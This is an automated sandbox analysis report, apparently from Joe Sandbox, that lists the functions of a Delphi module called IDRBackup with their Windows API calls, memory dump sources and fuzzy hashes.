Opcode Fuzzy Hash: 3f66c3e269cd951c54c3cff080ad5384b45faaa69e489fe7aa14975d11e41d0c
Instruction Fuzzy Hash: 8911E431A006989FEF00DF98E844BDEB7F4AF08325F104016E548AB2D2C7789985CF92

Function 570202DC Relevance: 10.7, APIs: 7, Instructions: 186fileCOMMON

Download Yara Rule

APIs

@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 57020396
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 570203A4
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 570203CD
@System@Move$qqrpxvpvi.RTL120.BPL ref: 57020485
@System@Move$qqrpxvpvi.RTL120.BPL ref: 570204A6
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 570204BB
ReadFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 570204DD

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@$Len$qqrx20String.System@@Unicode$FileMove$qqrpxvpvi.$PointerRead
String ID:
API String ID: 1149148704-0
Opcode ID: ddb05ea29ebe3266209fdf8eae66b5567b94e089d94dcc206436182c8772ab7b
Instruction ID: fe31c7db20d7258675ab6c619664a359cac1c61e5a67f7556b03613800324ee1
Opcode Fuzzy Hash: ddb05ea29ebe3266209fdf8eae66b5567b94e089d94dcc206436182c8772ab7b
Instruction Fuzzy Hash: FE81DE79A01245EFCB00CF58C584A9AFBF1FF48354B24C29AE9098B356D730EE91CB91

Function 5701D528 Relevance: 10.7, APIs: 7, Instructions: 157fileCOMMON

Download Yara Rule

APIs

Part of subcall function 5700189C: @System@@FillChar$qqrpvib.RTL120.BPL(5701AC73), ref: 5700189E

UnmapViewOfFile.KERNEL32(00000000), ref: 5701D69F
UnmapViewOfFile.KERNEL32(00000000), ref: 5701D6B4
@System@@FreeMem$qqrpv.RTL120.BPL(00000000,00000000), ref: 5701D6BF
@System@@FreeMem$qqrpv.RTL120.BPL(00000000,00000000), ref: 5701D6CA

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$FileFreeMem$qqrpv.UnmapView$Char$qqrpvib.Fill
String ID:
API String ID: 3816586447-0
Opcode ID: 99c654c2c56220c3e2b6e0831b9d89612bd4d4734bf85cc4ba4d340da33900e6
Instruction ID: 65bc26a9fad9bf07eac0a6d12ef7ebde425ab5042be0c20dce497491c32a770a
Opcode Fuzzy Hash: 99c654c2c56220c3e2b6e0831b9d89612bd4d4734bf85cc4ba4d340da33900e6
Instruction Fuzzy Hash: F251FD75A006589FDF00DFA8D884BDEB7F4FF48324F108526E818A7291D774A986CF95

Function 570204FC Relevance: 10.6, APIs: 7, Instructions: 108fileCOMMON

Download Yara Rule

APIs

@System@@UStrClr$qqrpv.RTL120.BPL(57020638), ref: 5702062B

Part of subcall function 5701FEE8: GetVersion.KERNEL32(00000000,57020062), ref: 5701FF25
Part of subcall function 5701FEE8: GetTempPathW.KERNEL32(00000104,?,00000000,57020062), ref: 5701FF3D
Part of subcall function 5701FEE8: @System@@UStrFromWArray$qqrr20System@UnicodeStringpbi.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FF57
Part of subcall function 5701FEE8: @System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FF69
Part of subcall function 5701FEE8: GetCurrentProcessId.KERNEL32(?,$mad$res,?,00000104,?,00000000,57020062), ref: 5701FFE2
Part of subcall function 5701FEE8: @System@@UStrCatN$qqrv.RTL120.BPL(570200AC,?,?,$mad$res,?,00000104,?,00000000,57020062), ref: 57020024
Part of subcall function 5701FEE8: @System@@UStrArrayClr$qqrpvi.RTL120.BPL(57020069,$mad$res,?,00000104,?,00000000,57020062), ref: 57020041
Part of subcall function 5701FEE8: @System@@LStrClr$qqrpv.RTL120.BPL(57020069,$mad$res,?,00000104,?,00000000,57020062), ref: 5702004C
Part of subcall function 5701FEE8: @System@@UStrArrayClr$qqrpvi.RTL120.BPL(57020069,$mad$res,?,00000104,?,00000000,57020062), ref: 5702005C

Part of subcall function 57020120: GetVersion.KERNEL32(00000000,570201B2,?,?,?,?,00000000), ref: 5702013C
Part of subcall function 57020120: @System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(?,?,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 5702015C
Part of subcall function 57020120: CreateFileW.KERNEL32(00000000,?,?,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 57020162
Part of subcall function 57020120: @System@@LStrClr$qqrpv.RTL120.BPL(570201B9,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 570201AC

SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,00000000,00000000,00000002,00000000,00000000,57020631), ref: 57020599
SetEndOfFile.KERNEL32(000000FF,000000FF,?,00000000,00000000,00000000,00000000,00000002,00000000,00000000,57020631), ref: 570205A2
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000000,00000002,00000000,00000000), ref: 570205B5
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,000000FF,00000000,00000004,00000000,00000000,00000000,000000FF,000000FF,?,00000000,00000000), ref: 570205D2
CloseHandle.KERNEL32(00000000,00000000,000F001F,00000000,00000000,00000000,000000FF,00000000,00000004,00000000,00000000,00000000,000000FF,000000FF,?,00000000), ref: 5702060D

Part of subcall function 5700189C: @System@@FillChar$qqrpvib.RTL120.BPL(5701AC73), ref: 5700189E

Part of subcall function 570202DC: @System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 57020396
Part of subcall function 570202DC: @System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 570203A4
Part of subcall function 570202DC: @System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 570203CD

CloseHandle.KERNEL32(000000FF,000000FF,00000000,00000004,00000000,00000000,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000000,00000002,00000000), ref: 57020616

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$System@Unicode$File$String.$Clr$qqrpv.Len$qqrx20$ArrayCloseClr$qqrpvi.CreateHandleVersion$Array$qqrr20Cat3$qqrr20Char$qqrpvib.Char$qqrx20CurrentFillFromMappingN$qqrv.PathPointerProcessStringpbi.Stringt2.Stringx20TempView
String ID:
API String ID: 1890362566-0
Opcode ID: 1254a2542e497786aeb2dff2891671095a1ca2d1299f30f110106ffcad3fd38b
Instruction ID: 3730219ad1b03af57dff328dc498712f1b81ff0a448b99baa0d60f491709a2d4
Opcode Fuzzy Hash: 1254a2542e497786aeb2dff2891671095a1ca2d1299f30f110106ffcad3fd38b
Instruction Fuzzy Hash: 81411871A01348AFEB00CBE8DC85BDEB7F5AB48710F604466E204FB2C1D674A940CBA9

Function 570044FC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL ref: 5700450E
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL ref: 57004534
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL ref: 5700456D

Strings

*, xrefs: 57004515
., xrefs: 57004563
*, xrefs: 57004587

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Char$qqrx20L120String.System@System@@Unicode
String ID: *$*$.
API String ID: 2311393783-2062014350
Opcode ID: 15b3551288f0c3943f70d4ca00aca31fb8ffca7e883cd5c9a37af3f0bf01bf7b
Instruction ID: 78d247ac83494455a7f0ec61d51aa2703ec950e32c7fad1d285174cfeca38561
Opcode Fuzzy Hash: 15b3551288f0c3943f70d4ca00aca31fb8ffca7e883cd5c9a37af3f0bf01bf7b
Instruction Fuzzy Hash: 8E3162A19043C49BE790AF54C84529BB7E0AB53365F84C51EFC9487283F7B88588C38B

Function 57005064 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(00000000,57005153), ref: 5700509B
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,57005153), ref: 570050AC
@System@@UStrCatN$qqrv.RTL120.BPL(?), ref: 5700510E
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(00000000,57005153), ref: 57005120
@System@@UStrCat$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(00000000,57005153), ref: 5700512D
@System@@UStrClr$qqrpv.RTL120.BPL(5700515A), ref: 57005145
@System@@UStrClr$qqrpv.RTL120.BPL(5700515A), ref: 5700514D

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$System@Unicode$Clr$qqrpv.String.Stringx20$Cat$qqrr20Cat3$qqrr20Length$qqrr20N$qqrv.StringStringi.Stringt2.U$qqrr20Unique
String ID:
API String ID: 2995159788-0
Opcode ID: a559e5a5acd1c985fa2be43c21139955fe024bcf2ba7d9d389121c1008d21a58
Instruction ID: e1a65053f72df0b6dec139f7ef06951f7a0d610d24f958683d6c8c7f1763a333
Opcode Fuzzy Hash: a559e5a5acd1c985fa2be43c21139955fe024bcf2ba7d9d389121c1008d21a58
Instruction Fuzzy Hash: A8312C30A10688EFEB01DFA5D891ADEB7F6FF48320F9144A5E50097392D7349E518B85

Function 5701E1F2 Relevance: 10.6, APIs: 7, Instructions: 73fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,5701E2D3), ref: 5701E21D
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E23A
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E240
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E262
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E26A
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E270
ReadFile.KERNEL32(00000000,?,00000008,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E289
ReadFile.KERNEL32(00000000,?,00000004,00000008,00000000,00000000,?,00000008,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000), ref: 5701E2A2
CloseHandle.KERNEL32(00000000,00000000,?,00000008,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E2B8
@System@@LStrClr$qqrpv.RTL120.BPL(5701E2DA,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E2CD

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: FileL120System@@$AnsiCreateReadStringSystem@System@%Unicode$Char$qqrx20Char$qqrx27CloseClr$qqrpv.FromHandleStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 4118243485-0
Opcode ID: c3fee32641ba1a758be50cf9bf75040ed5a5d79578df48224d1376fe6f163dd5
Instruction ID: 674ef8600c7ed6e53ccdfb93f7457f084c9eae006829ace28668a32668a36132
Opcode Fuzzy Hash: c3fee32641ba1a758be50cf9bf75040ed5a5d79578df48224d1376fe6f163dd5
Instruction Fuzzy Hash: 7B11B231614284BFF7118BE4DCA1FAE76ECDB45661FA001BDFA14E71C2D6749A0086A2

Function 5701F2F4 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

@System@UniqueString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701F30D
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL ref: 5701F314
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL ref: 5701F319
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL ref: 5701F34B
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL ref: 5701F362
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,?,?,?), ref: 5701F388
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,?,?,?), ref: 5701F38D

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Unicode$System@$L120$String.System@@$String$qqrr20$EnsureLen$qqrx20Unique$Length$qqrr20StringStringi.U$qqrr20
String ID:
API String ID: 3263498728-0
Opcode ID: 9f6834361ee5bf67caa199bdd0b7dc6bdd5602f6db7b1e769d281287858f0fec
Instruction ID: 3bd69bb86e8b645e0f1e0c3e316623f89ef06f2ec4d24105efe4a2eeb0931386
Opcode Fuzzy Hash: 9f6834361ee5bf67caa199bdd0b7dc6bdd5602f6db7b1e769d281287858f0fec
Instruction Fuzzy Hash: 3211C4B1B062549FD7019BF8D88079EB3E2EF88260F548126E104CB3D6EA759D1693D2

Function 57003484 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 57003496
@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5700349E
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700353B), ref: 570034B6
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700353B), ref: 570034BB
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5700353B), ref: 570034C7
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5700353B), ref: 570034CC
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(57003542), ref: 57003535

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.$ArrayClr$qqrpvi.
String ID:
API String ID: 1632476202-0
Opcode ID: d640deca3d6449b59ff55e116507eb165df383208a0419c24c2fe1e54aa06052
Instruction ID: 63936733d6744e8041a99b87c1ef36a081ae830062393236902bda266916385f
Opcode Fuzzy Hash: d640deca3d6449b59ff55e116507eb165df383208a0419c24c2fe1e54aa06052
Instruction Fuzzy Hash: 9911D6309042945FE706DBA5C8D05EEFBF8DF89260FD144A6E4509B382DA359E41CB91

Function 5701F25E Relevance: 10.6, APIs: 7, Instructions: 61COMMON

Download Yara Rule

APIs

@System@UniqueString$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F275
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL ref: 5701F27E
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F283
@System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F2A4
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F2B5
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,?,?,?), ref: 5701F2D6
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,?), ref: 5701F2DB

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Ansi$L120String$System@%System@@$T$us$i0$%.$String$qqrr27$EnsureLen$qqrx27T$us$i0$%us.Unique$A$qqrr27Length$qqrv.System@
String ID:
API String ID: 3940005804-0
Opcode ID: 034d1822a8f8a73edd0dea28a88c348d29755ea57e6b38cab3c078825bffb4a4
Instruction ID: 32d7e75226095977f7dd907e23c1c2952790b7a4832080b6d0faca3aae9cb1f5
Opcode Fuzzy Hash: 034d1822a8f8a73edd0dea28a88c348d29755ea57e6b38cab3c078825bffb4a4
Instruction Fuzzy Hash: F6110476B062545FE3048BFDAC8079EB7E6EF88160F20806BE044C7382D9319D0183E2

Function 57020120 Relevance: 10.6, APIs: 7, Instructions: 61fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,570201B2,?,?,?,?,00000000), ref: 5702013C
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(?,?,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 5702015C
CreateFileW.KERNEL32(00000000,?,?,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 57020162
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(?,?,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 57020187
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(?,?,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 5702018F
CreateFileA.KERNEL32(00000000,?,?,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 57020195
@System@@LStrClr$qqrpv.RTL120.BPL(570201B9,?,?,?,?,00000000,570201B2,?,?,?,?,00000000), ref: 570201AC

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$AnsiCreateFileStringSystem@System@%Unicode$Char$qqrx20Char$qqrx27Clr$qqrpv.FromStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 397043393-0
Opcode ID: 0b376756959b776d8dde5279c4a14c1f44fe99852947ad523524dafc5fe3da42
Instruction ID: e10d462d2a8ed0ac9745529c7c4bb7f3145feda61ad95cba4429937da0ab035c
Opcode Fuzzy Hash: 0b376756959b776d8dde5279c4a14c1f44fe99852947ad523524dafc5fe3da42
Instruction Fuzzy Hash: 1A113572211288BFE700CFE9DC80E9F77ECEB4D260F804425B909D7242D634ED0087A1

Function 5701F260 Relevance: 10.6, APIs: 7, Instructions: 60COMMON

Download Yara Rule

APIs

@System@UniqueString$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F275
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL ref: 5701F27E
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F283
@System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F2A4
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F2B5
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,?,?,?), ref: 5701F2D6
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,?,?,?), ref: 5701F2DB

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
